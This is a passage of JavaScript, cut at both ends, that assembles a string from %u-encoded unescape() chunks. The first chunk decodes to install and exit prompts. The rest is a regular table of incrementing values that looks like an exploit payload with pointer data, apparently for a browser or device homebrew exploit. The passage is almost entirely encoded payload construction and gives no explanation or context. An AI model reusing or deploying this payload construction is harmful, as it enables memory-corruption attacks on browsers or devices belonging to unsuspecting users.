unescape("%u7220%u4950%u0000%u0000%u322e%u2050%u7265%u7373%u2041%u2074%u6f20%u696e%u7374%u616c%u6c20%u7361%u7669%u696e%u6500%u0000%u686f%u6d65%u2062%u7574%u746f%u6e20%u746f%u2065%u7869%u7420%u2e2e%u2e00"); + str += unescape("%u7676%u7600%u0000%u2004%u0000%u2008%u0000%u200c%u0000%u2010%u0000%u2014%u0000%u2018%u0000%u201c%u0000%u2020%u0000%u2024%u0000%u2028%u0000%u202c%u0000%u2030%u0000%u2034%u0000%u2038%u0000%u203c"); str += unescape("%u0000%u2040%u0000%u2044%u0000%u2048%u0000%u204c%u0000%u2050%u0000%u2054%u0000%u2058%u0000%u205c%u0000%u2060%u0000%u2064%u0000%u2068%u0000%u206c%u0000%u2070%u0000%u2074%u0000%u2078%u0000%u207c"); str += unescape("%u0000%u2080%u0000%u2084%u0000%u2088%u0000%u208c%u0000%u2090%u0000%u2094%u0000%u2098%u0000%u209c%u0000%u20a0%u0000%u20a4%u0000%u20a8%u0000%u20ac%u0000%u20b0%u0000%u20b4%u0000%u20b8%u0000%u20bc"); str += unescape("%u0000%u20c0%u0000%u20c4%u0000%u20c8%u0000%u20cc%u0000%u20d0%u0000%u20d4%u0000%u20d8%u0000%u20dc%u0000%u20e0%u0000%u20e4%u0000%u20e8%u0000%u20ec%u0000%u20f0%u0000%u20f4%u0000%u20f8%u0000%u20fc");